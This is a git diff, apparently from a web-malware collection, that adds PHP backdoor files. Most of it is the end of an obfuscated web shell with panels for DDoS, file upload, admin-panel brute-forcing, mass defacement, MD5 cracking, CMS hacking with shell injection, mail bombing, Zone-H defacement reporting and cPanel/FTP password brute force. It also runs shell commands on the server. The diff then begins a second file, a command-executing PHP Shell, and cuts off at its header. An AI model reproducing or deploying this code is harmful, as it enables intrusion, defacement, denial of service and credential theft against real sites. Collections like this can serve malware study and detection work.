+<input type='submit' name='S\x74ar\x74A\164\x74\x61\x63k' value='A\164\x74\x61\x63k'> +</\x74\x64></t\x72></t\x61\142\154\145></f\x6f\x72m> +<!-- \x45nd O\146 \x44\104O\123 At\x74ac\153er --> +</\164\x64> +<\164d> +<!-- U\160l\x6f\x61d F\151\154\x65\163 --> +<f\x6fr\x6d \145\156\x63\164\171\x70\145=\"m\x75lt\x69\x70\x61rt/fo\162\x6d-data\" method=\"PO\123\x54\"><\164\141b\x6ce \x77\x69dt\150='100%' he\x69gh\x74='72' \x62\157\162\144\x65\162='0' id='\x42\x6f\x78'><\x74\162> +<\164\144 wid\x74h='4%' \150ei\147\x68t='21' s\x74y\x6c\145='\142ac\153\x67\162\x6f\165n\144-\x63olo\162:".$iIi1i11l11OoIlIl."'>&\156bsp;</\164\x64> +<\x74\144 \x73t\171\x6c\x65='b\141\x63k\147ro\165\156\144-c\157l\x6f\x72:#666;\x70\x61\x64\144\151\x6e\x67-\154e\146\164:10\160x;'>\125p\154o\141\144 \x46i\154\145\163 <input type='\142\x75\164\x74\157\x6e' value='+' \151\x64='\141ddU\160\154o\141\x64' size='5' \x6f\156c\x6c\x69\x63k='\141\x64\x64U\x70\x6co\141d\111n\160\165\x74();'></t\144></t\162><\x74\x72><\164\144 \x68\x65i\x67\x68t='45' \x63\x6fl\163p\x61\x6e='2'> +<input type='\146\151\154\x65' name='\165\x70\x6c\x6f\x61\x64\146\151\x6c\x65[]'><input type='\x66\x69l\145' name='\165\x70\x6c\x6f\x61\144f\151\154\x65[]'> +<\144i\x76 \x69d='\x75\x70l\x6f\141\144\111\x6ep\x75\x74'></\x64iv> +<input type='h\151d\144e\156' name='uploadingDir' value='".getcwd()."'/> +<input type='submit' value='\x55p\x6c\x6fa\144 File\x73' name='\x55\x70l\x6fad\116\157w'> +</\164d></\x74\x72></\164a\142\x6c\145></\146\x6f\162\x6d> +<!-- \105\156\x64 \117\x66 Up\154o\x61d \106\x69l\x65\163 --> +</\x74d> +<t\144> +<!-- A\103\x50 \106\x69\156de\162 --> +<\146\x6fr\155 method='\120\x4f\x53\x54'><ta\x62\x6c\145 w\x69d\164\150='100%' \150\x65\151\x67\x68\x74='72' \142\157\162\x64\145r='0' \x69d='\102\157\x78'><\164\x72> +<t\x64 \x77i\x64t\x68='4%' h\145\x69g\150\x74='21' \x73t\171\154e='b\141c\x6b\147\x72\157u\x6e\144-\143\x6f\x6c\157r:".$iIi1i11l11OoIlIl."'>&nbsp;</\164\144> +<t\x64 \163\164\171\154\145='\142\x61ckg\162o\x75n\144-co\x6co\x72:#666;p\141\x64\144\151n\x67-\x6c\145\146t:10\x70\170;'>\101C\x50 \106\x69\156de\162 </t\x64></\x74r><\x74r><\164d h\145i\147\x68\164='45' \x63o\x6c\163pa\156='2'> +<input name='\150\141s\150_\154\x6f\x6c' \x63\x6cas\163='te\x78\x74\142\x6f\170' type='text' size='38' value='\x68t\164\x70://\x77\167\167.\x65x\x61\155\x70\154\145.co\155/'/> +<input type='text' value='.\x70\150p' name='extention' size='5'/> +<input name='\163\165\x62\155\x69\x74_\154o\154' c\x6cas\163='\x74\x65\170t\x62\157x' value='\102\x72\165t\145F\x6fr\x63e \x4eo\x77' type='submit'> +<!-- \105n\144 \117\x66 \x41C\120 F\x69n\x64\145r --> +</\x74\144></t\x72></\x74\x61\142\x6c\145></\146\157\162m> +</\x74\x64> +</t\162> + +<\164\x72> +<td v\x61\154\x69g\156='\x74op'> +<!-- \123QL \x52\145ad\145\162 --> +<f\157rm method='\x50OS\124'><\164\x61b\154\x65 \167\x69\144\x74h='100%' hei\147\x68\x74='72' \142\157r\144\145\162='0' id='B\157\170'><\164r> +<t\x64 \167\151d\x74h='4%' h\145\151\x67\150\164='21' \163\x74\171le='\142\141\x63kg\x72\157\165\x6e\x64-\x63\x6f\154o\162:".$iIi1i11l11OoIlIl."'>&\156\142s\x70;</t\x64> +<\x74d \163ty\154\x65='\142\x61\x63\153\147\x72\x6f\x75\156\x64-\x63o\x6c\x6f\x72:#666;p\141\x64\x64\x69\156\x67-l\x65\146\x74:10p\x78;'>\115\x61\163\163 \x44e\x66\141\143\x65\155\145\156\164</t\x64></\164r><\x74\162><\164\144 \150\145i\x67h\164='45' c\x6f\154\x73\160\141\x6e='2'> +<input type='text' name='m\x61\x73\163\104\x69r' \151\x64='m\x61s\x73D\151r' value='".getcwd()."' size='45' /> +<input type='text' name='mas\163F\151leN\141\x6de' \151d='ma\x73\163\106\151l\x65\x4e\x61\x6d\x65' value='index.htm\154' size='15' /><\x62r> +<input type='text' name='\x6d\x61s\163\x49n\144ex' id='\155\141\x73s\104\151r' value='H\x61\143\153ed \102y \x53\171\x52i\101\156_\x33\x34\x47\061\063' size='70' /><\x62r> +<input type='submit' name='\155\141\163\163D\x65f\x61\143\x65\x4eo\x77' value='\x44\x65fa\143e \116ow' /> +</\164d></\x74\162></\x74\x61b\x6c\x65></\146\157\x72\x6d> +<!-- \x45nd \x4f\146 \123\x51\x4c Read\x65\162 --> +</\x74\144> +<\164\144 v\141\x6c\151g\156='to\x70'> +<!-- \x4dD\x35 \103\x72\141c\x6b\145r --> +<\x66\157r\x6d method='\120O\123T' name='n\163\164'><\x74\x61\142l\145 w\151\144\x74h='100%' \150\x65\x69\x67\x68\164='72' \x62o\x72\144e\162='0' i\x64='\x42o\170'><tr> +<\x74\x64 w\151\144th='4%' he\x69g\150\164='21' \163\164\x79le='\142\x61\x63kgr\x6f\x75n\144-col\157\x72:".$iIi1i11l11OoIlIl."'>&n\x62\163\160;</\x74\144> +<\164d \163\164\x79\x6c\x65='bac\153\147\x72\x6f\x75\x6ed-c\157\154\x6f\162:#666;p\x61\x64d\151\x6e\147-\154\145ft:10p\170;'>MD\x35 C\162\x61\143k\x65\x72</\164d></tr><\164\x72><\x74d \x68\145\x69\x67h\x74='45' col\x73\x70\x61\x6e='2'> +<input name='pass' size='80' value='\x6d\1445 \150\x61s\150'><\x62r> +<input type='text' name='chars' value='\103\150\141\x72s' size='80' /><\142\162> +<input type='submit' value='\x43\x72\x61c\x6b' name='\x43r\141\x63k\115\x64\x35'> <fo\x6e\164 \x63\x6f\154\157\162=\147\x72\x61y>\x45\x4e:</\146\157\x6e\x74> +<a h\x72\145f=ja\x76\x61\x73\x63r\x69\160t:ins('a\x62c\x64\x65fgh\151j\153l\155n\x6f\160q\162\x73t\x75\166\167xy\x7a')>a-\172</a> +<a hr\x65\146=\152\141\x76\x61\163c\162i\x70\x74:\151n\163('\101B\x43\104E\x46\107HIJK\x4c\x4d\116O\120\121R\123TUV\127\130\x59Z')>A-\132</a> +<a \150\x72\145f=\152av\x61s\x63\162i\160t:\x69n\x73('0123456789')>0-9</a> +<a \x68\x72\x65\146=j\x61\166\x61\x73c\x72i\x70t:\151\156\x73(\"~`'\!#$%^&*()-_+=|/?&g\x74;<[]{}:&\x6e\142s\160;.,\&\x71u\x6ft;\")>\x53\x79m\142\x6f\x6cs</a> +</\164\144></t\162></\164\141b\x6ce></\x66o\162\x6d> +<!-- \x45\x6e\144 \117\146 MD\x35 Cr\141c\x6b\145\x72 --> +</\164\x64> +<t\x64 va\x6c\151\x67n='\164o\160'> +<!-- F\141\x73\x74 \124\157\157\154\163 --> +<\146o\162\x6d method='P\117\x53\x54'><t\141b\154\x65 w\151\x64\164\x68='100%' h\x65i\x67\x68\164='72' \142\157r\144\x65r='0' \151\x64='\102ox'><\x74\162> +<\164d \x77\151d\x74h='4%' \150\x65\151\147\x68\164='21' s\x74\x79\x6c\145='b\141\143\x6bg\x72o\x75\156d-\143\157l\157r:".$iIi1i11l11OoIlIl."'>&n\x62\163\160;</t\x64> +<\164\x64 \x73\164\x79\154e='b\141\x63\153\147\162\157\x75\156d-col\x6f\x72:#666;\x70a\x64din\x67-l\x65\x66\164:10\160x;'>\x46\141s\x74 T\157\x6fls </t\144></\x74\162><\164r><td \x68\145i\147h\x74='45' \x63\157\x6c\163\160\141\156='2'> +<\x73el\145\x63\164 name='\x73\x6f\x6de\x41\143t\x69\157n'> +<option value='\x67\x65\x6e\x48tac\x63e\163s'>\x47e\x6e\x65\x72\x61\x74\145 .H\x74a\143\x63es\x73</option> +<option value='\x67e\x6eP\150\x70'>Ge\x6ee\162a\x74\x65 PHP.\111\116\x49</option> +<option value='g\x65n\111\x4eI'>\107\x65n\x65r\141\164e IN\x49.\120\x48\120</option> +<option value='f\151n\144\x43\x6f\156'>Fi\x6ed \101\154\x6c \x43on\x66\151\x67s</option> +<option value='showUsers'>Sho\167 Users</option> +<option value='\x44\117\x53\x53e\x72\x76e\x72\x31'>\x44\x4fS \x53\x65rver 1</option> +<option value='\x44\117\x53\123e\162ver2'>\x44\x4f\x53 S\145\162\166\x65\162 2</option> +</\x73\145l\x65\143t> +<input type='submit' value='\104o \101\x63\x74\x69\x6f\x6e' name='\x64\157\x41ct\x69\157\x6e'> +</t\144></\x74r></\x74\141\x62l\145></\x66\x6f\x72m> +<!-- E\x6e\144 \117\146 F\141\163t \124\157\x6f\x6c\x73 --> +</\164d> +</\164r> +<\x74\x72> +<\164\x64 v\x61\154i\147\156='\164\157\x70'> +<!-- \x53\121L \x4da\147\x69c --> +<f\157\x72m method='\x50OS\124'><\x74\141b\154\x65 \167i\x64th='100%' \150\145\x69\x67\x68\164='72' b\x6f\x72\144er='0' i\144='B\x6f\170'><\164r> +<\164\x64 \x77i\x64\164\150='4%' \150\145\x69\147\150\164='21' s\x74\171\x6c\x65='\x62a\x63\x6bgrou\x6ed-\x63\157\154\x6f\x72:".$iIi1i11l11OoIlIl."'>&nb\163\x70;</td> +<td \x73\x74\x79l\x65='\x62ac\153\147\162\x6f\x75\x6e\x64-\x63\157l\x6f\162:#666;pa\x64d\x69n\x67-\x6c\145\x66\164:10\x70\x78;'>\x53\121\x4c</td></\164\162><\x74\x72><\x74\144 \150\145i\x67ht='45' \143o\154s\x70\x61\x6e='2'> +<input type = 'text' name='QU_\110O\x53T' value='127.0.0.1'> +<input type = 'text' name='\x51\x55_U\x53\x45\x52' value='DB \x55\163\145r'><br/> +<input type = 'text' name='\x51\125_\x50\101S\x53' value='\104\x42 \x50\x61\x73\163'> +<input type='text' name='QU_\x44\x42' value='\x44\x42 \x4e\x61m\145' > +<\163\x65\154\145\x63\164 \x69d='\123Q\x4c\124\x79\x70\145' name='\x53Q\x4cT\x79p\145' o\x6ec\150\141n\147\145='C\x68\141\x6e\147eS\x51\114Ty\160\145();'> +<option value='\123\121\114\x51u\x65\x72y'>\x53\x51\x4c Q\x75\x65\x72y</option> +<option value='\123Q\x4cR\x65ad\145\162'>\x53QL \x52\x65\x61\144\145\162</option> +<option value='\x45m\141\151l\x45\170\x74\162a\143t\x6f\162'>E\155ail \105xtr\x61\143\x74\x6f\x72</option> +</\163\145\x6c\145\143t> +<\x64\x69\x76 \x69\144='\151\156put\x54yp\145' >&\156\142s\x70;</\x64\x69\166> +<input name='MySQLQuery' type='submit'> +</td></tr></\164\141\x62\x6ce></\x66\157\162m> +<!-- \x53Q\x4c Q\165e\x72\x79 --> +</\x74\144> +<td \166\x61\x6c\x69\147n='t\x6f\x70'> +<!-- \x41u\164\157M\x61\164i\x63 \x48\x61\x63\x6b\x69\156\x67 --> +<\146\x6fr\155 method='POS\124'><\164\141bl\145 w\x69d\x74\x68='100%' \150\x65\x69ght='72' bor\144\x65r='0' \151\144='B\157\x78'><\x74\x72> +<t\x64 \x77\151dt\150='4%' \150\145\x69\x67\150\164='21' s\x74y\154\x65='b\141\143k\x67\x72\157\165\156\x64-\x63\x6f\x6c\157\x72:".$iIi1i11l11OoIlIl."'>&n\142sp;</\x74d> +<\x74\144 \x73ty\154\x65='\142a\x63\x6b\x67r\157u\156\144-\143\157\x6c\157\162:#666;\160\141\x64\144in\x67-\154\145\146\164:10\160\170;'>\101u\164\x6f\x6da\164i\x63 \x48a\x63\153i\x6e\x67</td></t\x72><tr><\164\144 he\151\x67ht='45' \143\157\x6c\163pa\156='2'> +<input type='text' value='dom\x61\x69\156.c\157\155' i\x64='d\x6f\155a\x69\156' name='domainToHack' size='45' o\x6e\142\154u\162='Bl\x75\162(\"d\157\x6da\151\x6e\",\"\x64\157\155\x61in.\143o\155\");' onc\x6c\151\x63k='\x43\154\x65ar(\"d\x6f\x6d\141\151n\",\"\144\x6fm\141in.\143\x6fm\");' > +<input type='text' value='/v\x62' name='scriptPath' size='10'> +<s\x65\154\145\143\x74 name='ScriptType' > +<option value='v\142'>\126\x42ull\x65\164\x69\156</option> +<option value='\x77\x70'>W\x6f\x72d\120r\x65\163\163</option> +<option value='\152\157s'>J\157oml\141</option> +<option value='\x69pb'>\x49P.\102o\141\x72d</option> +<option value='\x70\150p\142b'>\120HP\102\102</option> +<option value='\x6d\171\x62\x62'>M\x79\x42B</option> +<option value='\163m\x66'>\x53\115\x46</option> +</sel\145\x63\x74><\142r /> +<input type='\x68i\x64\x64\145\x6e' name='a\x75\x74\x6f\110a\143kDi\162' /> +<\164ex\164a\162\145\141 name='index' \143\157\x6c\163='50' rows='5' \x69\x64='\x49\156d\x65\x78' on\142\154\x75\162='\x42l\165r(\"In\144e\170\",\"\110a\x63\x6b\x65\144 \x42\x79 \123\x79\x52\151\101\156_3\064\1071\063\");' \x6f\x6e\x63\x6cic\x6b='C\154\x65\141\x72(\"\x49\156\144\145\x78\",\"Hac\153\145\x64 \102\x79 \x53\171\x52\151\x41\156_\x334\x47\061\063\");' >\x48\x61\x63\153\145\144 \102\x79 \123\171\x52\x69A\156_3\x34G13</\164\145\x78\x74a\x72e\141> +<input type='submit' name='\101\x75t\157\x48a\143k\116ow' value='\x48a\143k \116o\167' /> +</\x74\x64></\164r></\x74\141\142l\x65></\146\x6f\162\155> +<!-- \105n\144 \117\x66 \105m\141\151\x6c \105\x78\164\162a\143\x74or --> +</\x74\144> +<\x74\x64 \166\x61\154i\147\x6e='\x74\157\160'> +<!-- \x4d\141il Stor\x6d --> +<\x66\x6f\162\x6d method='\x50\x4f\x53\124'><ta\x62le wi\144\x74h='100%' \x68ei\x67\150t='72' \x62\x6f\162\144e\x72='0' id='\102ox'><t\162> +<\164d \x77i\144\x74\x68='4%' he\151\147h\x74='21' sty\x6c\x65='\142ac\153\147\162\x6f\165\x6e\144-\143olor:".$iIi1i11l11OoIlIl."'>&nb\163\160;</\x74d> +<\164\144 \x73\164\x79\154\x65='\142\x61\x63kgr\157\165nd-\x63o\154o\x72:#666;\160\141d\144\151\156\147-l\145\146\164:10\x70x;'>\115\x61\x69\x6c \x53\164or\x6d </\x74\144></\x74r><\x74\162><\x74\x64 he\151g\150t='45' \143\x6fl\163\x70\141\156='2'> +<\164\145\x78\164\x61re\141 rows='6' c\x6f\x6cs='45' name='Comments' i\x64='Comments' o\x6e\x62\x6c\165\x72='\x42\x6c\165\162(\"Comments\",\"\101\164\164\141\x63\x6b\x65\162 Message\");' o\156\143\154i\x63\x6b='\103\x6c\145\x61\162(\"Comments\",\"\x41t\164\141\x63k\145\x72 Message\");' >\101\164\164\141\143\x6be\162 Message</\164\145\170\164\x61\162\145\141> +<input type='text' name='to' value='\124\141\162\x67\x65t E\x6d\x61il' \151d='to' size='35' \157n\x62\154ur='B\x6cu\162(\"to\",\"\x54a\x72g\145t \x45m\x61il\");' o\156cl\151\143\x6b='Clear(\"to\",\"T\141r\147et \x45\155\141\x69\x6c\");' > +<input type='text' size='5' name='nom' value='100'> +<input name='\163\145n\144M\141ilSt\157r\155' type='submit' value='S\145\156d Ma\x69l \123\164\x6f\162\x6d ' > +</\x74d></\164r></t\141\142\154\145></f\157\162\155> +<!-- E\156\144 Of \115ai\154 \123t\157\x72\155 --> +</\164d> +</\x74r> +<\164r> +<\x74\x64 \166\x61\154ig\x6e='\x74o\160'> +<!-- \x5a\157n\145-\x48 --> +<fo\162m method='\x50\x4fS\124'><t\141\x62l\x65 \167\x69\x64t\150='100%' \150\145\151\147ht='72' \x62o\x72d\145r='0' id='\x42ox'><tr> +<\x74d w\151d\164\150='4%' h\x65i\147h\164='21' \x73\164\x79l\145='b\141\x63\153\147\x72o\x75\156d-\x63\157\x6c\x6fr:".$iIi1i11l11OoIlIl."'>&\x6eb\x73p;</\x74\x64> +<\x74\x64 \x73\164\171\x6c\145='b\x61\x63\x6bg\162\x6f\165\156\x64-\143\157\154\x6fr:#666;\x70a\144\x64i\156g-l\145\x66\x74:10\x70x;'>\x5ao\x6e\x65-\x48 \x44\145\146\141\x63er</t\x64></\x74\x72><\x74\162><\x74\x64 hei\147ht='45' \143\x6f\154\163\x70\x61\156='2'>"; echo '<form method="post"> +<input type="text" name="defacer" size="70" value="SyRiAn_34G13" /> +<select name="hackmode"> +<option >--------SELECT--------</option> +<option value="1">known vulnerability (i.e. unpatched system)</option> +<option value="2" >undisclosed (new) vulnerability</option> +<option value="3" >configuration / admin. mistake</option> +<option value="4" >brute force attack</option> +<option value="5" >social engineering</option> +<option value="6" >Web Server intrusion</option> +<option value="7" >Web Server external module intrusion</option> +<option value="8" >Mail Server intrusion</option> +<option value="9" >FTP Server intrusion</option> +<option value="10" >SSH Server intrusion</option> +<option value="11" >Telnet Server intrusion</option> +<option value="12" >RPC Server intrusion</option> +<option value="13" >Shares misconfiguration</option> +<option value="14" >Other Server intrusion</option> +<option value="15" >SQL Injection</option> +<option value="16" >URL Poisoning</option> +<option value="17" >File Inclusion</option> +<option value="18" >Other Web Application bug</option> +<option value="19" >Remote administrative panel access bruteforcing</option> +<option value="20" >Remote administrative panel access password guessing</option> +<option value="21" >Remote administrative panel access social engineering</option> +<option value="22" >Attack against administrator(password stealing/sniffing)</option> +<option value="23" >Access credentials through Man In the Middle attack</option> +<option value="24" >Remote service password guessing</option> +<option value="25" >Remote service password bruteforce</option> +<option value="26" >Rerouting after attacking the Firewall</option> +<option value="27" >Rerouting after attacking the Router</option> +<option value="28" >DNS attack through social engineering</option> +<option value="29" >DNS attack through cache poisoning</option> +<option value="30" >Not available</option> +</select> + +<select name="reason"> +<option >--------SELECT--------</option> +<option value="1" >Heh...just for fun!</option> +<option value="2" >Revenge against that website</option> +<option value="3" >Political reasons</option> +<option value="4" >As a challenge</option> +<option value="5" >I just want to be the best defacer</option> +<option value="6" >Patriotism</option> +<option value="7" >Not available</option> +</select> +<textarea name="domain" cols="44" rows="9" id="domains" onblur="Blur(\'domains\',\'List Of Domains\');" onclick="Clear(\'domains\',\'List Of Domains\');" >List Of Domains</textarea> +<input type="submit" value="Send Now !" name="SendNowToZoneH" /> +</form>'; echo "</\164d></\164r></\164\x61\x62\x6ce></form> +<!-- E\x6e\144 \x4f\x66 \132\x6f\156e-\110 --> +</\x74\x64> +<\x74d \166a\154\x69\x67n='\164\157\160'> +<!-- C\160\x61\x6ee\154 \x41n\144 \106T\x50 \x42\x72\165teFo\x72ce \101\x74t\x61\143\x6ber --> +<\x66\x6frm method='\120\x4f\x53T'><\x74\141\142\154e w\151\144t\150='100%' \150\145\151\147h\164='72' \142\x6f\x72\x64\145\162='0' \151d='B\157x'><\164r> +<\164d \167\x69\144th='4%' \x68\145i\x67\x68\164='21' \163\164y\x6ce='b\x61c\153g\x72\x6fu\x6e\x64-\143\157lo\162:".$iIi1i11l11OoIlIl."'>&\x6eb\163\160;</\x74\144> +<t\144 \163\x74\171\x6c\x65='\142\x61ckgr\157\x75\x6ed-c\157lo\162:#666;\x70ad\144i\156\147-\154\145\x66\x74:10\160x;'>C\160a\156el \x41\156\144 \x46\124\120 B\x72\165\x74\x65\106\157\162\143\145 </\x74\144></tr><\x74\x72><\x74\144 \x68\145\151g\x68\x74='45' \143\157l\x73\160\x61n='2'> +<\164\145\x78\164a\162e\x61 rows='12' name='\165s\x65\x72s' c\157\x6c\x73='23' >"; system('ls /var/mail'); echo "</t\145\170\164a\162\145a> +<t\x65x\x74\x61\162\145\141 rows='12' name='pas\x73w\x6f\162\144\163' \x63\157\154\163='23' >123123\n123456\n1234567\n12345678\n123456789\n159159\n112233\n332211\n!@#$%^\n^%$#@!.\n!@#$%^&\n!@#$%^&*\n!@#$%^&*(\npassword\npasswd\n\160\141\163\163\167or\144s\npass\n\160@\141ss\1670r\x64\npass@\167\x6fr\x641 +</t\x65\x78t\141r\x65a> +<input type='text' name='target' size='16' value='127.0.0.1' > +<input name='cracktype' value='\143\x70\x61\x6e\145\154' \143h\x65\x63k\145\144 type='\162\x61\144\x69o'><\163y>\x43\x70\141n\x65\154 (2082)</\163y> +<input name='cracktype' value='ftp' type='r\141\144\151\x6f'><\163\x79>\106\164p (21)</\163\171> +<input type='submit' value=' C\x72\141\x63\153 it ! ' name='B\162\x75\x74\x65F\x6fr\x63\x65Cp\x61\x6ee\154A\156\144F\124\x50' > +</\x74\144></\x74\162></\x74a\142l\x65></fo\x72m> +<!-- \x45\156\144 O\146 Cp\141n\145\154 \x41\156d \x46\x54\120 \102\x72\165\x74eF\157\162c\x65 \x41t\x74\141\143\153\x65\162 --> +</\164\x64> +<\x74d \x76\x61\x6c\x69g\156='\x74op'> +<!-- S\x63r\151\x70t\x73 \x48\141\143\153i\x6e\147 --> +<\146\x6f\162\155 method='\120\x4f\123\124'><\164a\x62\x6ce \167i\x64t\x68='100%' \x68\x65ig\x68\x74='72' b\157\162\x64er='0' \x69\144='\102\x6f\x78'><t\162> +<td width='4%' h\x65\x69\x67\150\164='21' st\171\154e='b\141c\153\x67\162\x6fu\156d-\x63\x6fl\157r:".$iIi1i11l11OoIlIl."'>&\x6e\142sp;</\x74d> +<\x74d \x73\x74\171le='\142a\143\x6b\147\162ou\156\x64-c\157\x6c\x6f\x72:#666;p\x61\x64\144\151n\147-\154\145\146\x74:10\160\170;'>\123\143\162\x69\160\164s Ha\x63\x6bi\156\x67</\164\144></tr><\164r><td h\145\151\x67\x68t='45' \x63\x6f\154\163pan='2'> +<input type='text' name='H\x4f\123T' \151\144='\110OS\x54' value='127.0.0.1' \x6f\x6e\142\x6c\x75\162='B\x6cu\x72(\"\110OS\x54\",\"127.0.0.1\");' \157\x6e\x63\x6c\x69\x63k='C\x6c\x65\141\x72(\"\110\x4f\123\124\",\"127.0.0.1\");'> + <input type = 'text' name='U\x53\105\122' \151\x64='\125\x53E\x52' value='D\102 Username' o\x6eb\x6c\x75\x72='\x42lu\x72(\"\125\x53\x45R\",\"\x44B Username\");' \157\156c\154i\143\153='\103\154e\x61r(\"US\x45\x52\",\"\x44\102 Username\");'> + <input type = 'text' name='\x50\x41\123S' id='\x50\x41\x53\x53' value='\104B \x50\141\163\x73\x77\x6frd' \157\x6e\142\x6cur='\x42\x6cu\162(\"\120AS\123\",\"\x44\x42 \x50a\x73\x73\x77or\144\");' on\x63l\x69\x63\153='C\154ea\162(\"PASS\",\"\x44\x42 P\141\163swor\x64\");'> + <input type ='text' name='D\x42' \x69d='D\x42' value='\x44\x42 \116\141\155\x65' o\x6e\142\154\x75r='Blur(\"\104B\",\"\x44\102 \116\141\155\x65\");' \x6f\156\x63lic\x6b='\x43\x6c\145\141r(\"D\102\",\"\x44\102 N\141\x6de\");'> + <input type ='text' name='\x50\x52\105F\x49X' \x69\144='\120\162efix' value='\x50r\145f\x69\x78' o\x6eb\154\165\x72='B\154\165\x72(\"\120\x72\145f\151x\",\"P\162\145\146\x69\x78\");' \157n\x63l\151ck='\x43l\145\x61\162(\"\120\162\x65fix\",\"\120\162\145\146i\170\");'> + <\163\x65le\x63\x74 name ='ScriptType' \x69\144='ScriptType' o\156\143\x68\141\156\147\x65='S\x63\x72\x69p\x74s\x54\171\x70\x65();' > + <option value ='\x76b'>\x56\x42\165\154l\145t\x69n</option> + <option value ='w\160'>W\157rdPr\x65s\163</option> + <option value ='\152\157s'>\x4aoo\155\154a</option> + <option value ='i\160\142'>\x49P.\x42oa\x72\x64</option> + <option value ='p\150\x70\x62b'>P\x48\120\x42\102</option> + <option value ='\155\x79b\x62'>MyB\x42</option> + <option value ='\163\x6df'>\x53M\x46</option> + </\163e\x6c\x65\x63\164> + <s\145l\x65\x63t name='hackingType' id='hackingType' \x6f\156\143\x68\x61\x6e\x67e='hack\x69\x6egT\171\160\x65\x73();'> + <option value='i\x6e\144e\x78\x43\x68a\x6e\147\x65r'>\111n\144e\170 \x43\x68\141\156\147\x65\x72</option> + <option value='\x64ecr\171\x70t'>D\x65\x63\x72y\x70t C\157\x6efi\x67</option> + <option value='changeInfo'>\111\x6e\146\157 C\150\x61\156ge\162</option> + </\x73\145\154\x65\x63t> + <s\160\141\x6e id='\111\156\152\x65\143\x74\123\x68el\154\x53\160\141n'><sy>\x49\156\152\x65c\x74 \x53h3\154l ? </\163\x79><\x73e\154ec\164 name='\151\x6ej\145\143\x74\x53\150el\x6c' i\x64='\151n\152ectS\150\x65ll' \x6fn\x63h\x61\x6e\x67\x65='\x69n\152\x65\143t\x53h\x65\154\154Fu\156\x63t\151o\156();'><option value='\x6e\157'>N\117</option><option value='\x79es\'>\x59ES</option></s\145\154\145c\164><\x73\171> \126\102\x75\154\154\145\x74i\156 \117\156\x6cy ! </sy></\x73\x70a\x6e><\163p\141n \x69\x64='\111\x6e\152\145\x63\x74\123\x68\145\154\154\x54y\160\x65\x53\160a\x6e'></s\160\141\156> + <\144\151\x76 \151\144='\x53\x48\102'><te\x78\164\141\x72\x65\141 name='I\x4eDE\x58' rows='9' id='the\x49\x6e\144\x65\x78' \x63\157l\x73='45' o\x6e\142\x6c\165r='B\154\165\x72(\"t\150\x65\x49\156\144\145\170\",\"\120\165t You\162 \x49\156\144\x65x H\x65\x72\145 !\");' \157n\143l\151\143\153='\103\154\x65\141\162(\"\x74\x68\x65\111\x6e\x64\145\170\",\"\x50\165\x74 Yo\165\162 \111n\144\145x \110\x65r\145 !\");' >\x50\165\x74 \x59\x6f\165r \111\156d\145\170 \x48\145\x72\145 !</\x74\x65\170ta\x72e\141></\x64iv> +<input type='submit' value='\x48\141c\153 N\x6fw !!' name='\125\160dat\145\111\x6e\x64\145\170' > +</\x74\x64></\x74\x72></\164abl\145></\x66\x6frm> +<!-- \x45\x6e\x64 \x4f\146 \x53c\162\x69pt\x73 \110\x61c\153\x69n\x67 --> +</\x74\144></\x74\x72> +"; ilI1iii00OiI00I1(); } + + +if($_GET['id']=='about') { echo About(); if($_POST['sendEmail']) { $ip = $_POST['ip']; $httpref = $_POST['httpref']; $httpagent = $_POST['httpagent']; $visitor = $_POST['visitor']; $visitormail = $_POST['visitormail']; $notes = $_POST['notes']; $i10oio010Oi1OI0o = "\163\x7934@m\x73n.c\x6f\155"; if (eregi('http:', $notes)) { echo "<s\143\x72\x69\160t>\x61l\145\x72t('\164\x68\151\x73 \151\x73 \156ot al\154\x6fw\145\x64 !!');</s\x63\162i\x70\164>"; echo "<\163c\162\x69\x70t>hist\157r\x79.\x67\157(-1);</\163c\x72\x69\x70\x74>"; } if(!$visitormail == "" && (!strstr($visitormail,"@") || !strstr($visitormail,"."))) { echo "<\163\x63r\151\x70\x74>\141l\145\162t('En\164\145\162 V\141\154\151\144 \105ma\151\154');</s\x63\x72\x69p\164>\n"; echo "<\x73cr\151\x70\164>h\151\163tor\x79.\x67\157(-1);</sc\x72i\x70\164>"; } if(empty($visitor) || empty($visitormail) || empty($notes )) { echo "<\x73cri\x70t>\x61l\145rt('A\154l \x46iel\144s \x41r\145 \122\x65\161\165\151\162ed !!');</\x73\x63\x72\x69\160\x74> "; echo "<\163\x63ri\x70t>h\x69\x73\164or\171.\x67\x6f(-1);</sc\162i\x70t>"; } $iOIOl00O0li1oIIo = date("\x6c, \106 j, \131, \147:i a") ; $ioOi1OOooo10oI1o = "\116ew Message \x46\x72\157m \123\x79\162ia\x6e-s\150\063l\154 Users"; $notes = stripcslashes($notes); $message = " $iOIOl00O0li1oIIo [EST] \n + Message: $notes \n + Fr\x6fm: $visitor ($visitormail)\n + \101\144\144i\x74\x69\157n\141\x6c \111n\146o : \x49\120 = $ip \n + \102ro\x77\163e\162 \111\156f\x6f: $httpagent \n + \122e\146\145\162\162\x61l : $httpref \n + "; $from = "\106\162o\x6d: $visitormail\r\n"; mail($i10oio010Oi1OI0o, $ioOi1OOooo10oI1o, $message, $from); echo ' + <p align="center"> + Date: '.$iOIOl00O0li1oIIo.'<br /> + Thank You : '.$visitor.' ( '.$visitormail.' )<br /> + <font color="#003399">Your Message Sent Successfully ! </font><br />'; $iIiIi10oiOllIl1l = str_replace("\r", "<\x62\x72/>", $notes); echo $iIiIi10oiOllIl1l; echo '</p>'; } ilI1iii00OiI00I1(); } + + +} ; ?> diff --git a/web-malware-collection-master/Backdoors/PHP/a.php b/web-malware-collection-master/Backdoors/PHP/a.php new file mode 100755 index 0000000..7539741 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/a.php @@ -0,0 +1,139 @@ +<?php +define('PHPSHELL_VERSION', '1.7'); +/* + ************************************************************** + * PHP Shell * + ************************************************************** + $Id: phpshell.php,v 1.18 2002/09/18 15:49:54 gimpster Exp $ + PHP Shell is aninteractive PHP-page that will execute any command + entered. See the files README and INSTALL or http://www.gimpster.com + for further information. + Copyright (C) 2000-2002 Martin Geisler <gimpster@gimpster.com> + This program is free software; you can redistribute it and/or + modify it under the terms of the GNU General Public License + as published by the Free Software Foundation; either version 2 + of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You can get a copy of the GNU General Public License from this + address: http://www.gnu.org/copyleft/gpl.html#SEC1 + You can also write to the Free Software Foundation, Inc., 59 Temple + Place - Suite 330, Boston, MA 02111-1307, USA. + +*/ +?> +<html> +<head> +<title>PHP Shell <?php echo offender ?></title> +<meta http-equiv="Content-Type" content="text/html; charset=windows-1250"></head> +<body> 